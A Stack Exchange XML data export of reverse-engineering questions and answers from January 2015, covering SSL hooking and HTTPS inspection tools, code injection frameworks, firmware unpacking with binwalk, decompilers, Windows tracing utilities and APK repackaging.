  <row Id="8022" PostTypeId="2" ParentId="8017" CreationDate="2015-01-15T11:26:38.830" Score="1" Body="&lt;p&gt;Maybe some of the following tools may help you:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;SSLHOOK is a Win32 DLL that allows hooking of the OpenSSL functions SSL_read and SSL_write&quot;&#xA;&lt;a href=&quot;https://github.com/strobejb/sslhook&quot; rel=&quot;nofollow&quot;&gt;https://github.com/strobejb/sslhook&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Immunity Debugger (immdbg) has the !hookssl command (hookssl.py) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1741" LastEditorUserId="1741" LastEditDate="2015-01-16T22:06:06.490" LastActivityDate="2015-01-16T22:06:06.490" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8023" PostTypeId="2" ParentId="8017" CreationDate="2015-01-15T13:29:48.813" Score="1" Body="&lt;p&gt;Since you are want to bypass HTTPS encryption, why not use &lt;a href=&quot;http://www.telerik.com/fiddler&quot; rel=&quot;nofollow&quot;&gt;Fiddler&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fiddler is a web debugging proxy that auto-sets itself as the system proxy. It also offers the option to install a self-signed root certificate at the system, so HTTPS sniffing can be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you have to do is start Fiddler, go to Tools -&gt; Fiddler Optios -&gt; HTTPS tab -&gt; check &quot;Decrypt HTTPS traffic&quot;.&#xA;After that click yes in the dialogs asking if it is ok to install the root certificate as trusted and you are good to go (if I am not mistaken Fiddler also needs to be restarted for this to work).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, all HTTPS traffic from the computer running fiddler will be available to inspect in the respective tab of the application.&lt;/p&gt;&#xA;" OwnerUserId="11481" LastActivityDate="2015-01-15T13:29:48.813" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8024" PostTypeId="2" ParentId="8018" CreationDate="2015-01-15T13:56:32.950" Score="3" Body="&lt;p&gt;Dynamic instrumentation tools like &lt;a href=&quot;https://www.frida.re/docs/installation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Frida&lt;/a&gt; or &lt;a href=&quot;http://www.dynamorio.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DynomoRIO&lt;/a&gt; are probably your best bet. Traditional code injection approaches like &lt;a href=&quot;https://github.com/rentzsch/mach_inject&quot; rel=&quot;nofollow noreferrer&quot;&gt;mach_inject&lt;/a&gt; on os x or &lt;a href=&quot;http://research.microsoft.com/en-us/projects/detours/&quot; rel=&quot;nofollow noreferrer&quot;&gt;detours&lt;/a&gt; on windows are things you could look into as well.&lt;/p&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="1481" LastEditDate="2017-01-27T18:38:22.090" LastActivityDate="2017-01-27T18:38:22.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8026" PostTypeId="1" CreationDate="2015-01-15T18:08:28.183" Score="1" ViewCount="142" Body="&lt;p&gt;If I'm using GDB or any other debugger, I just want to know where the respective images are loaded for a given process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I create an executable HelloWorld, and it just prints hello.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a maximum and minimum bounds in memory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am asking this question because I'm looking for certain bytes in memory; I'm going to call gdb's find with these values as parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance, I apologize if it seems novice, but I've not read the entire GDB manual.&lt;/p&gt;&#xA;" OwnerUserId="8394" LastActivityDate="2015-01-15T18:08:28.183" Title="How to find maximum and minimum process boundaries while debugging?" Tags="|gdb|dynamic-analysis|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8027" PostTypeId="1" CreationDate="2015-01-15T18:57:43.083" Score="3" ViewCount="627" Body="&lt;p&gt;In the main function, program authors can choose to receive the char * array as a parameter to main that points to the environment variables&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(int argc, char **argv, char **envp) {&#xA;...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The point being here is the envp pointer is wanted, but not from the perspective of the program author with the source. The question is, at runtime, how can one know the location of the environment variables, even if the binary being run is stripped?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I've figured out how to do this reliably on 32 and 64 bit linux for argv; I can know how many command arguments there are, where they are and what they are. And I can do this for envp on 32 bits, but not 64 bits. Does anybody know a technique to do this reliably for 64 bits at runtime in linux on stripped binaries? &lt;/p&gt;&#xA;" OwnerUserId="8394" LastEditorUserId="8403" LastEditDate="2015-01-16T04:28:03.627" LastActivityDate="2015-05-21T21:18:01.380" Title="How to find location of environment variables in 64 bit binaries at runtime?" Tags="|linux|dynamic-analysis|x86-64|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8028" PostTypeId="1" AcceptedAnswerId="8066" CreationDate="2015-01-16T02:51:05.293" Score="2" ViewCount="1026" Body="&lt;p&gt;i'm tried to gather information of firmware and extract the contain with binwalk on kali , when i scanned rom.bin , i have as result many lines 1-&gt; most of lines are LZMA data compressed , but when i extract this data i can't open it. 2-&gt; last line &quot;Mcrypte 2.2 , blofish crypted&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can some help me , what can i do to extract data correctly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here the firmware&#xA;&lt;a href=&quot;http://wikisend.com/download/396604/rom.bin&quot; rel=&quot;nofollow&quot;&gt;http://wikisend.com/download/396604/rom.bin&lt;/a&gt; &lt;a href=&quot;http://wikisend.com/download/194102/ChannelList.bin&quot; rel=&quot;nofollow&quot;&gt;http://wikisend.com/download/194102/ChannelList.bin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="11500" LastActivityDate="2015-01-20T17:30:58.170" Title="Binwalk and firmware of a sat receiver" Tags="|firmware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8029" PostTypeId="1" AcceptedAnswerId="8505" CreationDate="2015-01-16T06:53:20.547" Score="2" ViewCount="651" Body="&lt;p&gt;I'm trying to decrypt some audio files. At first I thought that they were encrypted using Blowfish, but apparently &quot;SHA + Mersenne Twister used for generate key and decrypt&quot;. What exactly does this mean? I know that SHA is a hashing algorithm and that Mersenne Twister is a PRNG but I don't really know what that statement means or what to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone could shed even a little bit of light on what this might mean that would be helpful.&lt;/p&gt;&#xA;" OwnerUserId="3040" LastActivityDate="2015-03-20T05:22:43.783" Title="SHA + Mersenne Twister" Tags="|encryption|hash-functions|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8030" PostTypeId="1" AcceptedAnswerId="8031" CreationDate="2015-01-16T13:34:31.367" Score="4" ViewCount="2258" Body="&lt;p&gt;There are a lot of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;... code ...&#xA;call sub_...&#xA;nop&#xA;... code ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;patterns in an executable dump I am working on. They appear in the middle of subroutines and I believe don't serve alignment purposes. I am curious about the origins of this construct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program was packed, so I am not sure if call-nop pair was there initially or appeared after unpacking.&lt;/p&gt;&#xA;" OwnerUserId="11504" LastActivityDate="2018-05-12T02:03:50.253" Title="Purpose of NOP immediately after CALL instruction" Tags="|x86-64|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8031" PostTypeId="2" ParentId="8030" CreationDate="2015-01-16T14:05:00.160" Score="5" Body="&lt;p&gt;The packer may have replaced an indirect call to an imported function with a direct (relative) call to another function. This would make the instruction shorter by one byte, necessitating the padding with one NOP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FF 15 ?? ?? ?? ??  call cs:[__imp_foo] ; RIP-relative offs32 indirect&#xA;E8 ?? ?? ?? ??     call foo            ; RIP-relative offs32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10027" LastActivityDate="2015-01-16T14:05:00.160" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8032" PostTypeId="2" ParentId="2247" CreationDate="2015-01-16T16:33:21.313" Score="1" Body="&lt;p&gt;I found a nice guide while trying to do the same: &#xA;&lt;a href=&quot;http://www.instructables.com/id/How-to-reverse-engineer-a-schematic-from-a-circuit/&quot; rel=&quot;nofollow&quot;&gt;http://www.instructables.com/id/How-to-reverse-engineer-a-schematic-from-a-circuit/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11507" LastActivityDate="2015-01-16T16:33:21.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8034" PostTypeId="1" AcceptedAnswerId="8043" CreationDate="2015-01-16T20:44:52.900" Score="5" ViewCount="7553" Body="&lt;p&gt;What is the best tool to trace system resources a program is touching. For example, which registry keys, other files or DLLs it's loading, internet connections it's opening, etc...?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw this question on reddit.com/r/ReverseEngineering and the mod had said it would be an excellent question for SE. After searching, I can't find a similar question asked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what tool do you use/recommend for tracing system resources a program touches in the context of Windows 7/8?&lt;/p&gt;&#xA;" OwnerUserId="11508" LastActivityDate="2017-04-21T13:58:49.203" Title="What tools are available to trace system resources a program is touching in windows?" Tags="|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8035" PostTypeId="1" CreationDate="2015-01-16T21:28:06.820" Score="1" ViewCount="341" Body="&lt;p&gt;So, I have an old FPGA board manufactured by everyone's favorite bitcoin hardware pioneer, Butterfly Labs. I have the hardware, a JTAG programmer, the name of the chips (probably) under the hood (Altera Stratix III), and a picture of an unpopulated PCB:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yOmjC.jpg&quot; alt=&quot;PCB&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get this board doing something? How can I figure out how to interface with the FTDI USB chip? Or even how to turn one of the LEDs on?&lt;/p&gt;&#xA;" OwnerUserId="11509" LastActivityDate="2015-01-21T17:01:14.430" Title="Finding what is attached where" Tags="|fpga|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8036" PostTypeId="1" CreationDate="2015-01-16T22:27:55.480" Score="2" ViewCount="880" Body="&lt;p&gt;I asked this question at the StackOverflow website and they referenced me here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;em&gt;Previous topic&lt;/em&gt;: &lt;a href=&quot;https://stackoverflow.com/questions/27917592/attach-to-specific-process-using-ida-windbg-in-kernel-debugging?noredirect=1#comment44253284_27917592&quot;&gt;https://stackoverflow.com/questions/27917592/attach-to-specific-process-using-ida-windbg-in-kernel-debugging?noredirect=1#comment44253284_27917592&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to debug a specific process on a remote system and the only way i can do that is to use the kernel debugging method. &#xA;It works pretty good with just WINDBG, but i think ida can give me the extra edge i need for a better reversing experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far debugging with windbg was successfull but now when i am using the windbg plugin in ida: &lt;img src=&quot;https://i.stack.imgur.com/8upc2.png&quot; alt=&quot;Ida issue&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what i am actually experiencing is that i cant get the extra analysis from ida, all i can do is attach only to the  process it self (only one available to attach to). and in the Modules window all i can see is the ntkrpamp.exe, which i assume is the kernel process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i can use all WINDBG regular commands like !process 0 0, etc.. and can debug normally but nothing shows in the IDA window&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have never debugged dynamically using IDA but i can see it is possible..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;could it work aswell in a kernel debugging session?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I also noticed it is possible to analyze a model if i set a breakpoint with the windbg plugin and when IDA hits that breakpoint, this module is added to the IDA Modules windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be a lot easier if i could just analyze it without pre-putting a breakpoint on the specific module and waiting for it to hit.&lt;/p&gt;&#xA;" OwnerUserId="11510" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-01-16T22:27:55.480" Title="Attach to specific process using IDA + WINDBG in kernel debugging" Tags="|ida|windows|debugging|windbg|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8037" PostTypeId="1" AcceptedAnswerId="8067" CreationDate="2015-01-16T23:33:46.270" Score="1" ViewCount="1834" Body="&lt;p&gt;Cracked the game with clutch and set watchpoint on the value address, when the value changes it breaks just fine but when i go to that binary address in IDA it shows me different instruction, here's some Pic's for more explanation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YPwxA.png&quot; alt=&quot;Image1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ajLUq.png&quot; alt=&quot;Image2&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/csxSD.png&quot; alt=&quot;Image3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried disabling ASLR but nothing changed.&lt;/p&gt;&#xA;" OwnerUserId="11482" LastActivityDate="2022-12-31T08:37:41.573" Title="Reversing iOS games with LLDB and IDA on arm64" Tags="|ida|ios|lldb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8038" PostTypeId="1" CreationDate="2015-01-17T01:17:12.670" Score="0" ViewCount="55422" Body="&lt;p&gt;Is there any decompiler out there which can take a .exe file and decompile it into C code (the execution file was also written in C)? Obviously I'm not looking for a 1 to 1 results with the original code, but anything that is somehow readable will be satisfying.&lt;/p&gt;&#xA;" OwnerUserId="11512" LastActivityDate="2015-01-17T04:02:59.967" Title="EXE to C source code decompiler" Tags="|decompilation|c|" AnswerCount="2" CommentCount="0" ClosedDate="2015-01-20T06:34:13.593" ContentLicense="CC BY-SA 3.0" />
  <row Id="8039" PostTypeId="2" ParentId="8038" CreationDate="2015-01-17T01:54:10.527" Score="1" Body="&lt;p&gt;There is the Hexrays Decompiler, which is a plugin for the Interactive Disassembler (hexrays.com). It decompiles machine code into Pseudo-C code.&lt;/p&gt;&#xA;" OwnerUserId="11513" LastActivityDate="2015-01-17T01:54:10.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8040" PostTypeId="2" ParentId="8038" CreationDate="2015-01-17T04:02:59.967" Score="2" Body="&lt;p&gt;As mentioned above IDA is a great dissembler, but do not expect good C source from the dissembled native object. Overall the range of utilities to manipulate PE executables is quite limited in comparison to more universal and open executable like ELF. I would be more interested in the disassembled assembly since even remotely acceptable C code will not be possible since allot of &quot;user&quot; executables have obfuscated symbols. I haven't used a windows environment in ages, but when I did for disassembly functions I used the Boomerang decompiler which is open source and free &lt;a href=&quot;http://boomerang.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;http://boomerang.sourceforge.net/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11515" LastActivityDate="2015-01-17T04:02:59.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8041" PostTypeId="1" CreationDate="2015-01-17T04:13:34.423" Score="0" ViewCount="1091" Body="&lt;p&gt;I'm trying to decompile and analyze the firmware for a D-Link router. I downloaded the firmware from their website, but when I run &lt;code&gt;binwalk&lt;/code&gt; on it, I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL     HEX         DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------&#xA;0           0x0         Ubicom firmware header, checksum: 0xCDED3035, image size: 1441792&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is the complete size of the actual binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-rw-r--r-- 1 root root 1441792 Jun 10  2013 firmware.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I assume that means binwalk wasn't able to find any tags to delimit the different parts of file right? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried taking a hexdump next and looking for asterisks. I found a few, but no real apparent tags could be found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible the binary is encrypted or obfuscated in some way? What would be my next step here?&lt;/p&gt;&#xA;" OwnerUserId="11516" LastActivityDate="2015-01-18T15:32:55.187" Title="Binwalk showing only the header as the full size of the binary" Tags="|disassembly|firmware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8043" PostTypeId="2" ParentId="8034" CreationDate="2015-01-17T05:17:15.437" Score="7" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx&quot; rel=&quot;noreferrer&quot;&gt;Process Monitor&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;Process Monitor is an advanced monitoring tool for Windows that shows real-time file system, Registry and process/thread activity.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/hh162945.aspx&quot; rel=&quot;noreferrer&quot;&gt;Windows Performance Toolkit&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;The Windows Performance Toolkit (WPT, or xperf) is a free toolset from Microsoft that lets you see everything happening on your system in order to investigate otherwise invisible performance problems in your game. WPT can show Disk IO, registry access, GPU packets, page faults, context switches, kernel activity, and even has a sampling profiler, all integrated into one visualizer.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;noreferrer&quot;&gt;API Monitor&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;API Monitor is a free software that lets you monitor and control API calls made by applications and services. Its a powerful tool for seeing how applications and services work or for tracking down problems that you have in your own applications.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.nektra.com/products/spystudio-api-monitor/&quot; rel=&quot;noreferrer&quot;&gt;SpyStudio&lt;/a&gt;&lt;/strong&gt; &#xA;  &lt;br&gt;SpyStudio shows and interprets calls, displaying the results in a structured way which is easy for any IT professional to understand. SpyStudio can show registry keys and files that an application uses, COM objects and Windows the application has created, and errors and exceptions&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2015-01-17T05:24:21.803" LastActivityDate="2015-01-17T05:24:21.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8044" PostTypeId="1" CreationDate="2015-01-17T16:34:41.107" Score="14" ViewCount="40878" Body="&lt;p&gt;I am a student interested in Android Security. I was trying to modify a APK file using baksmali and smali. However, I am not able to run the repackaged app in my mobile. When I click on the icon it say &quot;Unfortunately, test has stopped&quot; and exists. (Even the icon of the app got changed, now I see default android icon instead of old real colorful icon of the app)    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the reason for this ? Actually I haven't even modified code of the apk file. I just unzipped apk to get dex file, then I converted it to smali using &lt;code&gt;baksmali.jar&lt;/code&gt;, and then back to dex using &lt;code&gt;smali.jar&lt;/code&gt;. Finally zipped and signed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have done in detail:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Decompress the apk file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$   Unzip test.apk&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Convert 1classes.dex1 to smali&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ baksmali -x classes.dex -o smaliClasses&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Converted the classes back to &lt;code&gt;classes.dex&lt;/code&gt; (replaced old &lt;code&gt;classes.dex&lt;/code&gt;, in fact I did not add any new code to smali file. I wanted to know whether this works first).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ smali smaliClasses -o classes.dex&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Zip all the files to &lt;code&gt;test.zip&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ zip test.zip AndroidManifest.xml classes.dex res META-INF resourses.arsc&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rename &lt;code&gt;test.zip&lt;/code&gt; to &lt;code&gt;test.apk&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ mv test.zip test.apk&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now I believe I have to sign the APK again, please correct me if am wrong here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edited&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;java -jar signapk.jar testkey.x509.pem  testkey.pk8 test.apk  test-patched.apk&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I tried to install the new repackaged APK. Using adb shell. Adb shell showed it successfully installed. However, I am not able to run the repackaged app in mobile. The App crashes when I click on it. It says &quot;Unfortunately, test has stopped&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Why doesn't the repackaged app running ? I don't understand what I am missing here ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edited&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to repackage the same app using apktool. I extracted the smali files using it and repackaged. But why repackaging is not working with baksmali, smali, zip and signapk. Is zipping the real problem in this procedure? I see the size of the app is reduced drastically when I zip it and rename it to .apk compared to the original apk file :| &lt;/p&gt;&#xA;" OwnerUserId="11518" LastEditorUserId="53" LastEditDate="2015-02-22T11:17:08.883" LastActivityDate="2017-10-11T14:28:03.367" Title="Repackaging APK file using baksmali and smali" Tags="|android|apk|" AnswerCount="8" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8045" PostTypeId="1" CreationDate="2015-01-17T23:12:08.200" Score="0" ViewCount="704" Body="&lt;p&gt;I've downloaded the firmware for my router and ran binwalk on it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;root@max-VirtualBox:~/src/wrt54g-4.21.5# binwalk firmware.bin &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL     HEX         DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------&#xA;32          0x20        TRX firmware header, little endian, header size: 28 bytes,  image size: 3362816 bytes, CRC32: 0xE3ABE901 flags/version: 0x10000&#xA;60          0x3C        gzip compressed data, was &quot;piggy&quot;, from Unix, last modified: Tue Feb  7 21:40:02 2012, max compression&#xA;700660      0xAB0F4     Squashfs filesystem, little endian, version 2.0, size: 2654572 bytes,  502 inodes, blocksize: 65536 bytes, created: Tue Feb  7 21:43:28 2012 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it looks like we have a simple header, some compressed data and a squashfs filesystem. I extracted the compressed data into a file called &lt;code&gt;piggy&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran binwalk again on &lt;code&gt;piggy&lt;/code&gt; and got the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;root@max-VirtualBox:~/src/wrt54g-4.21.5/piggy# binwalk piggy&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL     HEX         DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------&#xA;1304240     0x13E6B0    Linux kernel version &quot;2.4.20 (crazy@sw1) (gcc version 3.2.3 with Broadcom modificatio 3.2.3 with Broadcom modifications) #3 Wed Feb 8 11:39:49 HKT 2ons) #3 Wed Feb 8 11:39:49 HKT 20122012&quot;&#xA;1563820     0x17DCAC    LZMA compressed data, properties: 0x04, dictionary size: 16777216 bytes, uncompressed size: 117440512 bytes&#xA;1567553     0x17EB41    LZMA compressed data, properties: 0x02, dictionary size: 2097152 bytes, uncompressed size: 524288 bytes&#xA;1606440     0x188328    LZMA compressed data, properties: 0x01, dictionary size: 16777216 bytes, uncompressed size: 50331648 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So we have a Linux kernel and come LZMA compressed data. Rerunning binwalk with the &lt;code&gt;-e&lt;/code&gt; flag automatically extracts the compressed sections out for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this is where I'm stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I've got these three compressed sections, I can't uncompress them with &lt;code&gt;unlzma&lt;/code&gt;, &lt;code&gt;7zr&lt;/code&gt; or anything. The &lt;code&gt;file&lt;/code&gt; utility says they're still data objects too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to this so any guidance would be appreciated. Where should I go from here?&lt;/p&gt;&#xA;" OwnerUserId="11516" LastActivityDate="2020-08-10T01:20:37.330" Title="Can't seem to figure out what this binary is" Tags="|disassembly|firmware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8047" PostTypeId="2" ParentId="8041" CreationDate="2015-01-18T15:32:55.187" Score="3" Body="&lt;p&gt;That is correct. Given the size of the firmware image, I'd guess that this is not a Linux based firmware, but probably an RTOS (IIRC, Ubicom had their own RTOS called IPOS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try doing an entropy analysis (&lt;code&gt;binwalk -E&lt;/code&gt;) and running &lt;code&gt;strings&lt;/code&gt; on the firmware image. Low/medium entropy and the presence of ASCII strings would suggest that the firmware is not encrypted or compressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try &lt;code&gt;binwalk -A&lt;/code&gt; to search for common opcodes (Ubicom32 opcodes are supported), and will give you an idea if there are valid executable instructions in the firmware image.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2015-01-18T15:32:55.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8048" PostTypeId="2" ParentId="8045" CreationDate="2015-01-18T16:21:59.503" Score="5" Body="&lt;p&gt;The LZMA results in the Linux kernel are likely false positives. FWIW, the latest version of binwalk (from github repo) does a much better job of filtering out LZMA false positives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where you go from here depends on what you want to do, but for Linux based firmware most of the interesting applications and logic are in user space, so you will probably want to extract the SquashFS file system and start taking a look at the executables, scripts and configuration files there.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2015-01-18T16:21:59.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8049" PostTypeId="2" ParentId="8029" CreationDate="2015-01-18T22:29:49.273" Score="0" Body="&lt;p&gt;(I had this as a comment initially, but upon thinking about it more, I believe that it is the actual answer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output of the Mersenne Twister can be used as the key for decryption. The result of the decryption attempt is hashed using SHA. The hash is compared to a predetermined hash value, in order to determine if the decryption was successful. That way, the key is never stored anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using a good random number generator instead of simply iterating through all possible values, it might seem like the answer will be found sooner (but in fact the probability should be equal).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case, it's an implementation of Random Decryption Algorithm (RDA), just another name for a brute-force attack.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2015-01-18T22:29:49.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
